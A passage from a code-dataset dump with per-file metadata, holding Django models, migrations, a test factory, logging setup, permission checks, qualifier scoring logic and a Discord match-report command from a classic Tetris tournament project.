assert_that(self.twitch_user.twitch_url, equal_to(\"https://www.twitch.tv/dexfore\"))\n" }, { "alpha_fraction": 0.6272898316383362, "alphanum_fraction": 0.6337261199951172, "avg_line_length": 38.916996002197266, "blob_id": "d1f9a3f3a8458c794f78cc950900d9bce731c595", "content_id": "3fb984024f8c5fe4f2f8c01ae3cc7cd02813655e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10099, "license_type": "permissive", "max_line_length": 109, "num_lines": 253, "path": "/classic_tetris_project/models/tournaments.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from django.conf import settings\nfrom django.db import models, transaction\nfrom django.db.models import signals, Q\nfrom django.urls import reverse\nfrom django.utils.text import slugify\nfrom colorfield.fields import ColorField\nfrom furl import furl\nfrom markdownx.models import MarkdownxField\n\nfrom classic_tetris_project import tasks\nfrom classic_tetris_project.util import memoize\nfrom .users import User\nfrom .events import Event\nfrom .matches import Match\nfrom .qualifiers import Qualifier\n\n\nclass Tournament(models.Model):\n class BracketType(models.TextChoices):\n SINGLE_ELIMINATION = \"SINGLE\", \"Single Elimination\"\n DOUBLE_ELIMINATION = \"DOUBLE\", \"Double Elimination\"\n\n name = models.CharField(\n max_length=64,\n blank=True,\n help_text=\"Full name of the tournament. Leave blank to automatically set to event name + short name.\"\n )\n short_name = models.CharField(\n max_length=64,\n help_text=\"Used in the context of an event, e.g. \\\"Masters Event\\\"\"\n )\n slug = models.SlugField(blank=True, db_index=False)\n event = models.ForeignKey(Event, on_delete=models.CASCADE, db_index=False,\n related_name=\"tournaments\")\n order = models.PositiveIntegerField(default=0, help_text=\"Used to order tournaments for seeding\")\n seed_count = models.IntegerField(help_text=\"Number of players to seed into this tournament\")\n placeholders = models.JSONField(\n blank=True, default=dict,\n help_text=\"Reserves a seed that won't get automatically populated by a qualifier\"\n )\n color = ColorField(default='#000000')\n bracket_color = ColorField(default=None, null=True, blank=True)\n bracket_type = models.CharField(max_length=64, choices=BracketType.choices,\n default=BracketType.SINGLE_ELIMINATION)\n public = models.BooleanField(\n default=False,\n help_text=\"Controls whether the tournament page is available to view\"\n )\n restreamed = models.BooleanField(\n default=False,\n help_text=\"Determines whether this tournament's matches can be restreamed by default\"\n )\n active = models.BooleanField(\n default=True,\n help_text=\"Controls whether this tournament's bracket should be updated on match completion\"\n )\n details = MarkdownxField(\n blank=True,\n help_text=\"Details to show on the tournament page\"\n )\n\n google_sheets_id = models.CharField(max_length=255, null=True, blank=True)\n google_sheets_range = models.CharField(max_length=255, null=True, blank=True)\n discord_emote_string = models.CharField(max_length=255, null=True, blank=True)\n\n class Meta:\n constraints = [\n models.UniqueConstraint(fields=[\"event_id\", \"slug\"],\n name=\"unique_event_slug\")\n ]\n ordering = [\"order\"]\n\n def update_bracket(self):\n from ..util.tournament_sheet_updater import TournamentSheetUpdater\n for match in self.matches.filter(Q(player1__isnull=True) | Q(player2__isnull=True)):\n match.update_players()\n TournamentSheetUpdater(self).update()\n\n @memoize\n def all_matches(self):\n return [match for match in self.matches.order_by(\"match_number\")\n .prefetch_related(\"player1__user__twitch_user\", \"player2__user__twitch_user\",\n \"winner\", \"match\")]\n\n @staticmethod\n def before_save(sender, instance, **kwargs):\n if not instance.name:\n instance.name = f\"{instance.event.name} {instance.short_name}\"\n if not instance.slug:\n instance.slug = slugify(instance.short_name)\n\n def get_absolute_url(self, include_base=False):\n path = reverse(\"event:tournament:index\", args=[self.event.slug, self.slug])\n if include_base:\n return furl(settings.BASE_URL, path=path).url\n else:\n return path\n\n def get_bracket_url(self, include_base=False, json=False):\n key = \"event:tournament:bracket_json\" if json else \"event:tournament:bracket\"\n path = reverse(key, args=[self.event.slug, self.slug])\n if include_base:\n return furl(settings.BASE_URL, path=path).url\n else:\n return path\n\n def color_int(self):\n return int(self.color[1:], base=16)\n\n def __str__(self):\n return self.name\n\nsignals.pre_save.connect(Tournament.before_save, sender=Tournament)\n\n\nclass TournamentPlayer(models.Model):\n qualifier = models.OneToOneField(Qualifier, on_delete=models.RESTRICT,\n related_name=\"tournament_player\", null=True, blank=True)\n user = models.ForeignKey(User, related_name=\"tournament_players\",\n on_delete=models.PROTECT,\n db_index=False,\n null=True, blank=True)\n tournament = models.ForeignKey(Tournament, related_name=\"tournament_players\",\n on_delete=models.CASCADE,\n db_index=False)\n seed = models.IntegerField()\n name_override = models.CharField(max_length=64, null=True, blank=True)\n\n class Meta:\n indexes = [\n models.Index(fields=[\"tournament\", \"seed\"])\n ]\n\n def display_name(self):\n if self.user:\n return self.user.display_name\n else:\n return self.name_override\n\n def get_absolute_url(self):\n if self.qualifier_id:\n return reverse(\"qualifier\", args=[self.qualifier_id])\n elif self.user:\n return self.user.get_absolute_url()\n\n\n def __str__(self):\n return f\"{self.user} ({self.tournament})\"\n\n\nclass TournamentMatch(models.Model):\n class Meta:\n verbose_name_plural = \"tournament matches\"\n permissions = [\n (\"restream\", \"Can schedule and report restreamed matches\"),\n ]\n\n class PlayerSource(models.IntegerChoices):\n NONE = 1\n SEED = 2\n MATCH_WINNER = 3\n MATCH_LOSER = 4\n\n tournament = models.ForeignKey(Tournament, on_delete=models.CASCADE, related_name=\"matches\")\n match = models.OneToOneField(Match, on_delete=models.PROTECT, null=True, blank=True,\n related_name=\"tournament_match\")\n match_number = models.IntegerField()\n round_number = models.IntegerField(null=True, blank=True)\n restreamed = models.BooleanField(default=False)\n color = ColorField(null=True, blank=True)\n\n source1_type = models.IntegerField(choices=PlayerSource.choices)\n source1_data = models.IntegerField(null=True, blank=True)\n source2_type = models.IntegerField(choices=PlayerSource.choices)\n source2_data = models.IntegerField(null=True, blank=True)\n\n player1 = models.ForeignKey(TournamentPlayer, on_delete=models.RESTRICT, related_name=\"+\",\n null=True, blank=True)\n player2 = models.ForeignKey(TournamentPlayer, on_delete=models.RESTRICT, related_name=\"+\",\n null=True, blank=True)\n winner = models.ForeignKey(TournamentPlayer, on_delete=models.RESTRICT, related_name=\"+\",\n null=True, blank=True)\n loser = models.ForeignKey(TournamentPlayer, on_delete=models.RESTRICT, related_name=\"+\",\n null=True, blank=True)\n\n def update_players(self):\n if not self.player1:\n self.player1 = self.player_from_source(self.source1_type, self.source1_data)\n if not self.player2:\n self.player2 = self.player_from_source(self.source2_type, self.source2_data)\n self.save()\n\n def player_from_source(self, source_type, source_data):\n if source_type == TournamentMatch.PlayerSource.NONE:\n return None\n elif source_type == TournamentMatch.PlayerSource.SEED:\n return self.tournament.tournament_players.filter(seed=source_data).first()\n elif source_type == TournamentMatch.PlayerSource.MATCH_WINNER:\n match = self.tournament.matches.filter(match_number=source_data).first()\n if match:\n return match.winner\n elif source_type == TournamentMatch.PlayerSource.MATCH_LOSER:\n match = self.tournament.matches.filter(match_number=source_data).first()\n if match:\n return match.loser\n\n def is_playable(self):\n return bool(self.player1 and self.player1.user and\n self.player2 and self.player2.user and\n not self.winner)\n\n def is_scheduled(self):\n return bool(self.match and self.match.start_date)\n\n def is_complete(self):\n return bool(self.winner)\n\n def get_or_create_match(self):\n if not self.match:\n self.match = Match.objects.create(player1=self.player1.user, player2=self.player2.user)\n self.save()\n return self.match\n\n def update_from_match(self):\n if self.match:\n if self.match.wins1 > self.match.wins2:\n self.winner = self.player1\n self.loser = self.player2\n elif self.match.wins2 > self.match.wins1:\n self.winner = self.player2\n self.loser = self.player1\n self.save()\n if self.tournament.active:\n transaction.on_commit(\n lambda: tasks.update_tournament_bracket.delay(self.tournament.id))\n\n def get_absolute_url(self, include_base=False):\n path = reverse(\"event:tournament:match:index\",\n args=[self.tournament.event.slug, self.tournament.slug, self.match_number])\n if include_base:\n return furl(settings.BASE_URL, path=path).url\n else:\n return path\n\n def __str__(self):\n return f\"{self.tournament} Match {self.match_number}\"\n\n @staticmethod\n def before_save(sender, instance, **kwargs):\n if not instance.id:\n instance.restreamed = instance.tournament.restreamed\n\nsignals.pre_save.connect(TournamentMatch.before_save, sender=TournamentMatch)\n" }, { "alpha_fraction": 0.5289139747619629, "alphanum_fraction": 0.5825105905532837, "avg_line_length": 28.54166603088379, "blob_id": "d256cd647e5a0e0aa91ccabb5bc8147947b025a7", "content_id": "11c8294efeef79f11da7630a98c9b18398f707ad", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 709, "license_type": "permissive", "max_line_length": 106, "num_lines": 24, "path": "/classic_tetris_project/migrations/0032_auto_20201226_2255.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.1.3 on 2020-12-26 22:55\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0031_auto_20201220_0544'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='qualifier',\n name='qualifying_type',\n field=models.IntegerField(choices=[(1, 'Highest Score'), (2, 'Highest 3 Scores')], default=1),\n preserve_default=False,\n ),\n migrations.AlterField(\n model_name='event',\n name='qualifying_type',\n field=models.IntegerField(choices=[(1, 'Highest Score'), (2, 'Highest 3 Scores')]),\n ),\n ]\n" }, { "alpha_fraction": 0.7011494040489197, "alphanum_fraction": 0.7241379022598267, "avg_line_length": 20.75, "blob_id": "3ae7732ad64b10b0092e06c5f329053cf6fc9dec", "content_id": "46a63e1f88d2c6c87e89f4dc4cc55e8d0cbe6ddc", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 261, "license_type": "permissive", "max_line_length": 56, "num_lines": 12, "path": "/classic_tetris_project/test_helper/factories/scores.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "import factory\n\nfrom classic_tetris_project.models import *\nfrom .users import *\n\n\nclass ScorePBFactory(factory.django.DjangoModelFactory):\n class Meta:\n model = ScorePB\n current = True\n score = 100000\n user = factory.SubFactory(UserFactory)\n" }, { "alpha_fraction": 0.6427379250526428, "alphanum_fraction": 0.6435726284980774, "avg_line_length": 28.219512939453125, "blob_id": "fc42752e1ce69f1e3e9233eeaf4c1eb1d07b4e56", "content_id": "0df0bbe4a1a058f416e3b4a581c099e17e4f0e9b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1198, "license_type": "permissive", "max_line_length": 95, "num_lines": 41, "path": "/classic_tetris_project/logging.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from datetime import datetime\nimport logging\nimport logging.handlers\nimport os\nimport sys\n\nfrom . import discord, twitch\n\n\nclass LoggingManager:\n def __init__(self):\n self.formatter = logging.Formatter(\"%(asctime)s [%(name)s] %(levelname)s: %(message)s\")\n\n self.console_handler = logging.StreamHandler()\n self.console_handler.setLevel(logging.INFO)\n self.console_handler.setFormatter(self.formatter)\n\n self.file_handler = logging.handlers.TimedRotatingFileHandler(\n filename=\"logs/bot.log\",\n when=\"midnight\",\n interval=1\n )\n self.file_handler.setLevel(logging.INFO)\n self.file_handler.setFormatter(self.formatter)\n self.file_handler.namer = lambda name: datetime.now().strftime(\"logs/bot-%Y-%m-%d.log\")\n\n def bind(self, logger):\n logger.addHandler(self.console_handler)\n logger.addHandler(self.file_handler)\n logger.setLevel(logging.INFO)\n\n @staticmethod\n def setup():\n try:\n os.mkdir(\"logs\")\n except FileExistsError:\n pass\n\n manager = LoggingManager()\n manager.bind(discord.logger)\n manager.bind(twitch.logger)\n" }, { "alpha_fraction": 0.6982622146606445, "alphanum_fraction": 0.6982622146606445, "avg_line_length": 38.5625, "blob_id": "67e1ecaf3b24f2dd474952478d3755eeb90f3c7b", "content_id": "9bda973b3294997d363c768da90bffd0a77fea21", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1266, "license_type": "permissive", "max_line_length": 99, "num_lines": 32, "path": "/classic_tetris_project/facades/user_permissions.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from ..util import lazy\n\nclass UserPermissions:\n REVIEW_QUALIFIERS = \"classic_tetris_project.change_qualifier\"\n RESTREAM = \"classic_tetris_project.restream\"\n REPORT_ALL = \"classic_tetris_project.change_tournamentmatch\"\n CHANGE_TOURNAMENT = \"classic_tetris_project.change_tournament\"\n SEND_LIVE_NOTIFICATIONS = \"classic_tetris_project.send_live_notifications\"\n\n def __init__(self, user):\n self.user = user\n\n @lazy\n def auth_user(self):\n if (self.user and hasattr(self.user, \"website_user\")\n and hasattr(self.user.website_user, \"auth_user\")):\n return self.user.website_user.auth_user\n\n def review_qualifiers(self):\n return self.auth_user is not None and self.auth_user.has_perm(self.REVIEW_QUALIFIERS)\n\n def restream(self):\n return self.auth_user is not None and self.auth_user.has_perm(self.RESTREAM)\n\n def report_all(self):\n return self.auth_user is not None and self.auth_user.has_perm(self.REPORT_ALL)\n\n def change_tournament(self):\n return self.auth_user is not None and self.auth_user.has_perm(self.CHANGE_TOURNAMENT)\n\n def send_live_notifications(self):\n return self.auth_user is not None and self.auth_user.has_perm(self.SEND_LIVE_NOTIFICATIONS)\n" }, { "alpha_fraction": 0.5454545617103577, "alphanum_fraction": 0.5934343338012695, "avg_line_length": 21, "blob_id": "57914f1730ffbad39f840965b6ca6a21507ae938", "content_id": "c1afc790c634fc5c08dc778efe13be7bcb5ea341", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 396, "license_type": "permissive", "max_line_length": 54, "num_lines": 18, "path": "/classic_tetris_project/migrations/0008_auto_20190825_0635.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.4 on 2019-08-25 06:35\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0007_game_match'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='game',\n name='losing_score',\n field=models.IntegerField(null=True),\n ),\n ]\n" }, { "alpha_fraction": 0.575072705745697, "alphanum_fraction": 0.5867036581039429, "avg_line_length": 29.385541915893555, "blob_id": "b26e6489ca4e32d4b92df5c69d25557a3b44a4a1", "content_id": "574e4f6d223b255d4b7c5adcb3e8d2def20fc941", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7566, "license_type": "permissive", "max_line_length": 113, "num_lines": 249, "path": "/classic_tetris_project/facades/qualifying_types.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from django import forms\nfrom django.db.models.expressions import RawSQL\nfrom django.utils import timezone\n\n\nclass QualifyingType:\n ORDER_BY = [\"-qualifying_score\"]\n\n class Form(forms.Form):\n def __init__(self, qualifying_type, *args, **kwargs):\n submitting = kwargs.pop(\"submitting\", True)\n super().__init__(*args, **kwargs)\n self.qualifying_type = qualifying_type\n\n if not self.qualifying_type.qualifier.event.vod_required:\n self.fields[\"vod\"].help_text = \"(optional)\"\n self.fields[\"vod\"].required = False\n\n # If we're not submitting, ignore vod and details fields\n if not submitting:\n del self.fields[\"vod\"]\n del self.fields[\"details\"]\n\n vod = forms.URLField(label=\"VOD\")\n details = forms.CharField(widget=forms.Textarea, required=False, label=\"Details\",\n help_text=\"(optional)\")\n\n # Fields to display when submitting a qualifier\n def submit_fields(self):\n for field in ([field for field, _ in self.qualifying_type.EXTRA_FIELDS] +\n [\"vod\", \"details\"]):\n yield self[field]\n\n # Fields to display when editing a qualifier\n def edit_fields(self):\n for field, _ in self.qualifying_type.EXTRA_FIELDS:\n yield self[field]\n\n def save(self):\n self.qualifying_type.save_form(self.cleaned_data)\n\n\n def __init__(self, qualifier):\n self.qualifier = qualifier\n self.vod = qualifier.vod\n self.details = qualifier.details\n self.load_data(self.qualifier.qualifying_data)\n\n def display_values(self):\n return ([(label, self.format_value(field, getattr(self, field))) for field, label in self.EXTRA_FIELDS] +\n [(\"Total score\", self.format_score())])\n\n def format_value(self, field, value):\n return value\n\n def format_score(self):\n return \"{:,}\".format(self.qualifier.qualifying_score)\n\n def form(self, *args):\n submitting = not self.qualifier.submitted\n initial = {\n \"vod\": self.vod,\n \"details\": self.details,\n }\n for field, _ in self.EXTRA_FIELDS:\n initial[field] = getattr(self, field)\n\n return self.Form(self, *args, initial=initial, submitting=submitting)\n\n def save(self):\n self.qualifier.vod = self.vod\n self.qualifier.details = self.details\n self.qualifier.qualifying_score = self.qualifying_score()\n self.qualifier.qualifying_data = self.qualifying_data()\n self.qualifier.save()\n\n def save_form(self, cleaned_data):\n submit = not self.qualifier.submitted\n if submit:\n self.qualifier.submitted = True\n self.qualifier.submitted_at = timezone.now()\n\n for attr, value in cleaned_data.items():\n setattr(self, attr, value)\n\n self.save()\n\n if submit:\n self.qualifier.report_submitted()\n\n\n\nclass HighestScore(QualifyingType):\n NAME = \"Highest Score\"\n EXTRA_FIELDS = [\n (\"score\", \"Score\"),\n ]\n\n class Form(QualifyingType.Form):\n score = forms.IntegerField(min_value=0, label=\"Score\")\n\n def load_data(self, data):\n self.score = data[0] if data else None\n\n def qualifying_score(self):\n return self.score\n\n def qualifying_data(self):\n return [self.score]\n\n\nclass Highest2Scores(QualifyingType):\n NAME = \"Highest 2 Scores\"\n EXTRA_FIELDS = [\n (\"score1\", \"Score 1\"),\n (\"score2\", \"Score 2\"),\n ]\n\n class Form(QualifyingType.Form):\n score1 = forms.IntegerField(min_value=0, label=\"Score 1\")\n score2 = forms.IntegerField(min_value=0, label=\"Score 2\")\n\n def load_data(self, data):\n self.score1 = data[0] if data else None\n self.score2 = data[1] if data else None\n\n def qualifying_score(self):\n return (self.score1 + self.score2) // 2\n\n def qualifying_data(self):\n return list(reversed(sorted([self.score1, self.score2])))\n\n\nclass Highest3Scores(QualifyingType):\n NAME = \"Highest 3 Scores\"\n EXTRA_FIELDS = [\n (\"score1\", \"Score 1\"),\n (\"score2\", \"Score 2\"),\n (\"score3\", \"Score 3\"),\n ]\n\n class Form(QualifyingType.Form):\n score1 = forms.IntegerField(min_value=0, label=\"Score 1\")\n score2 = forms.IntegerField(min_value=0, label=\"Score 2\")\n score3 = forms.IntegerField(min_value=0, label=\"Score 3\")\n\n def load_data(self, data):\n self.score1 = data[0] if data else None\n self.score2 = data[1] if data else None\n self.score3 = data[2] if data else None\n\n def qualifying_score(self):\n return (self.score1 + self.score2 + self.score3) // 3\n\n def qualifying_data(self):\n return list(reversed(sorted([self.score1, self.score2, self.score3])))\n\n\nclass MostMaxouts(QualifyingType):\n NAME = \"Most Maxouts\"\n EXTRA_FIELDS = [\n (\"maxouts\", \"Maxout Count\"),\n (\"kicker\", \"Kicker\"),\n ]\n ORDER_BY = [\n RawSQL(\"(qualifying_data::json->>'maxouts')::integer\", ()).desc(),\n RawSQL(\"(qualifying_data::json->>'kicker')::integer\", ()).desc()\n ]\n\n class Form(QualifyingType.Form):\n maxouts = forms.IntegerField(\n min_value=0, label=\"Maxout Count\",\n help_text=(\"Total number of maxouts (scores over 999,999) you got. If you did not \"\n \"maxout, enter 0.\")\n )\n kicker = forms.IntegerField(\n min_value=0, label=\"Kicker\",\n help_text=(\"Your highest non-maxout score. If you did not maxout, this is your highest \"\n \"score.\")\n )\n\n def load_data(self, data):\n self.maxouts = data[\"maxouts\"] if data else None\n self.kicker = data[\"kicker\"] if data else None\n\n def qualifying_score(self):\n return self.maxouts\n\n def format_score(self):\n return \"{}; {:,}\".format(self.maxouts, self.kicker)\n\n def qualifying_data(self):\n return {\n \"maxouts\": self.maxouts,\n \"kicker\": self.kicker,\n }\n\n\ndef format_time(time):\n minutes = int(time // 60)\n seconds = time % 60\n return \"{}:{:06.3f}\".format(minutes, seconds)\n\nclass LowestTime(QualifyingType):\n NAME = \"Lowest Time\"\n EXTRA_FIELDS = [\n (\"time\", \"Time\"),\n ]\n ORDER_BY = [\"qualifying_score\"] # increasing; lowest time comes first\n\n class Form(QualifyingType.Form):\n time = forms.DurationField(label=\"Time\", help_text=\"(e.g. 12:34.567)\")\n\n def __init__(self, *args, **kwargs):\n if kwargs[\"initial\"][\"time\"]:\n kwargs[\"initial\"][\"time\"] = format_time(kwargs[\"initial\"][\"time\"])\n super().__init__(*args, **kwargs)\n\n def clean_time(self):\n time = self.cleaned_data[\"time\"]\n return time.total_seconds()\n\n def load_data(self, data):\n self.time = data[0] if data else None\n\n def qualifying_score(self):\n return round(self.time * 1000)\n\n def format_value(self, field, value):\n if field == \"time\":\n return format_time(value)\n else:\n return value\n\n def format_score(self):\n return format_time(self.time)\n\n def qualifying_data(self):\n return [self.time]\n\n\nQUALIFYING_TYPES = {\n 1: HighestScore,\n 2: Highest2Scores,\n 3: Highest3Scores,\n 4: MostMaxouts,\n 5: LowestTime,\n}\nCHOICES = [(n, qualifying_type.NAME) for n, qualifying_type in QUALIFYING_TYPES.items()]\n" }, { "alpha_fraction": 0.5667420625686646, "alphanum_fraction": 0.6085972785949707, "avg_line_length": 29.482759475708008, "blob_id": "7c2d2e0f08f51358e9f6f20c8c153d184564ec9d", "content_id": "b119ccfe8d49177e718fc29c6f159ab6ea8aee73", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 884, "license_type": "permissive", "max_line_length": 135, "num_lines": 29, "path": "/classic_tetris_project/migrations/0028_auto_20201130_0208.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.1.3 on 2020-11-30 02:08\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0027_auto_20200621_0117'),\n ]\n\n operations = [\n migrations.RemoveIndex(\n model_name='customcommand',\n name='classic_tet_twitch__a83c1c_idx',\n ),\n migrations.AlterField(\n model_name='customcommand',\n name='alias_for',\n field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to='classic_tetris_project.customcommand'),\n ),\n migrations.AlterField(\n model_name='customcommand',\n name='output',\n field=models.CharField(blank=True, default='', max_length=400),\n preserve_default=False,\n ),\n ]\n" }, { "alpha_fraction": 0.5845352411270142, "alphanum_fraction": 0.5897436141967773, "avg_line_length": 32.72972869873047, "blob_id": "421e594eb8869d6aab369437dc9a3613831c6f86", "content_id": "b51ccfab53cde601edbfe45c9bd297a0eecfc8e9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2515, "license_type": "permissive", "max_line_length": 93, "num_lines": 74, "path": "/classic_tetris_project/commands/reportmatch.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from .command import Command, CommandException\nfrom .. import discord\nfrom ..models.users import User\ntry:\n from ..reportmatchmodule.processrequest import (\n processRequest,\n updateChannel,\n setupChannel,\n checkChannelPeon\n )\n REPORT_MATCH_LOADED = True\nexcept ModuleNotFoundError:\n REPORT_MATCH_LOADED = False\nimport time\n\[email protected]_discord(\"reportmatch\", usage=\"reportmatch, yadda yadda\")\nclass ReportMatch(Command):\n def execute(self, *args):\n if not REPORT_MATCH_LOADED:\n return\n if len(args) > 1 and args[0] == \"setup\": # hackerman...\n self.check_moderator()\n self.execute_setup(args)\n else:\n self.execute_peon(args)\n\n def execute_peon(self, *args):\n # only accept reports in the reporting channel\n if not checkChannelPeon(self.context):\n return\n \n # preference for names. Nickname, display_name.\n name = (self.context.author.nick or \n self.context.author.display_name or \n str(self.context.author))\n \n league, result = processRequest(name, self.context.message.content)\n temp_message = self.send_message(\"```\" + result + \"```\")\n\n if league is not None:\n self.context.add_reaction(self.context.message, '🇦')\n self.context.add_reaction(self.context.message, '🇮')\n self.execute_update(league)\n self.context.delete_message(temp_message)\n else:\n self.context.add_reaction(self.context.message, '🚫')\n time.sleep(10)\n\n items = [\"5⃣\",\"4⃣\", \"3⃣\", \"2⃣\", \"1⃣\"]\n for i in range(5):\n self.context.add_reaction(temp_message, items[i])\n time.sleep(1)\n\n self.context.delete_message(temp_message)\n \n\n # :redheart: setup cc\n def execute_setup(self, *args):\n league = args[0][1]\n setupChannel(self.context, league, self.all_users())\n\n def execute_update(self, league):\n print(\"Updating the channel image etc.\")\n updateChannel(self.context, league, self.all_users())\n\n def all_users(self):\n query = list(User.objects.exclude(twitch_user=None).exclude(discord_user=None).all())\n result = {}\n for user in query:\n try:\n result[user.twitch_user.username] = user.discord_user.display_name()\n except: #pokemon\n pass\n return result\n" }, { "alpha_fraction": 0.6037974953651428, "alphanum_fraction": 0.6430379748344421, "avg_line_length": 31.91666603088379, "blob_id": "35804a29fd79cb6a4d8639dff9f6ff2d00da0c17", "content_id": "a21a2ae4c6438bf56a1c6070a059bba35f83e142", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 790, "license_type": "permissive", "max_line_length": 160, "num_lines": 24, "path": "/classic_tetris_project/migrations/0045_auto_20210405_0043.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.1.3 on 2021-04-05 00:43\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0044_auto_20210404_2242'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='tournament',\n name='placeholders',\n field=models.JSONField(default=dict, help_text=\"Reserves a seed that won't get automatically populated by a qualifier\"),\n ),\n migrations.AlterField(\n model_name='tournament',\n name='event',\n field=models.ForeignKey(db_index=False, on_delete=django.db.models.deletion.CASCADE, related_name='tournaments', to='classic_tetris_project.event'),\n ),\n ]\n" }, { "alpha_fraction": 0.6469115018844604, "alphanum_fraction": 0.6510851383209229, "avg_line_length": 28.950000762939453, "blob_id": "478ed57300aaa460c6a179d42cc10602b793f502", "content_id": "57382b396c66eaa991a53d033d0340d05158eea8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1198, "license_type": "permissive", "max_line_length": 97, "num_lines": 40, "path": "/classic_tetris_project/models/commands.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from django.db import models\nfrom django.db.utils import OperationalError\n\nfrom .twitch import TwitchChannel\nfrom .users import TwitchUser\n\n\nclass CustomCommand(models.Model):\n \n twitch_channel = models.ForeignKey(TwitchChannel, on_delete=models.CASCADE)\n\n name = models.CharField(max_length=20)\n output = models.CharField(max_length=400, blank=True)\n alias_for = models.ForeignKey(\"self\", null=True, blank=True, on_delete=models.CASCADE)\n\n class Meta:\n constraints = [\n models.UniqueConstraint(\n # implies index on (twitch_chanel, name)\n fields=[\"twitch_channel\", \"name\"],\n name=\"unique channel plus command\"\n )\n ]\n\n @staticmethod\n def get_command(channel, command_name):\n try:\n command = CustomCommand.objects.filter(twitch_channel=channel).get(name=command_name)\n except (CustomCommand.DoesNotExist, OperationalError):\n return False\n \n\n return command\n\n def wrap(self, context):\n from ..commands.command import CustomTwitchCommand\n return CustomTwitchCommand(context, self)\n\n def __str__(self):\n return self.name\n" }, { "alpha_fraction": 0.5488850474357605, "alphanum_fraction": 0.588336169719696, "avg_line_length": 24.34782600402832, "blob_id": "c35ae5d76be83aaf462241ebbeb62fa44a5ad931", "content_id": "fe1ea8bac41a76819faceb1d2176b86da4e07a8d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 583, "license_type": "permissive", "max_line_length": 72, "num_lines": 23, "path": "/classic_tetris_project/migrations/0026_auto_20200520_0553.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.10 on 2020-05-20 05:53\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0025_populate_discord_user_fields'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='discorduser',\n name='discriminator',\n field=models.CharField(max_length=4),\n ),\n migrations.AlterField(\n model_name='discorduser',\n name='username',\n field=models.CharField(max_length=32),\n ),\n ]\n" }, { "alpha_fraction": 0.5184534192085266, "alphanum_fraction": 0.5729349851608276, "avg_line_length": 23.7391300201416, "blob_id": "0dd0d8e6b3df5eccc727d22c8c540fcaad4e37eb", "content_id": "fd0491579096546545a374c12cbcd619360b79e8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 569, "license_type": "permissive", "max_line_length": 62, "num_lines": 23, "path": "/classic_tetris_project/migrations/0006_auto_20190812_0423.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.2 on 2019-08-12 04:23\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0005_auto_20190810_0847'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='user',\n name='ntsc_pb_updated_at',\n field=models.DateTimeField(null=True),\n ),\n migrations.AddField(\n model_name='user',\n name='pal_pb_updated_at',\n field=models.DateTimeField(null=True),\n ),\n ]\n" }, { "alpha_fraction": 0.5492957830429077, "alphanum_fraction": 0.6126760840415955, "avg_line_length": 26.047618865966797, "blob_id": "888c665fa8f7ad4bd7dc46ac3648a1f761952aea", "content_id": "403e7d74a4a2064533e7677c5bd2844ebf352a8a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 568, "license_type": "permissive", "max_line_length": 101, "num_lines": 21, "path": "/classic_tetris_project/migrations/0063_auto_20220131_0205.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.2.11 on 2022-01-31 02:05\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0062_auto_20220131_0118'),\n ]\n\n operations = 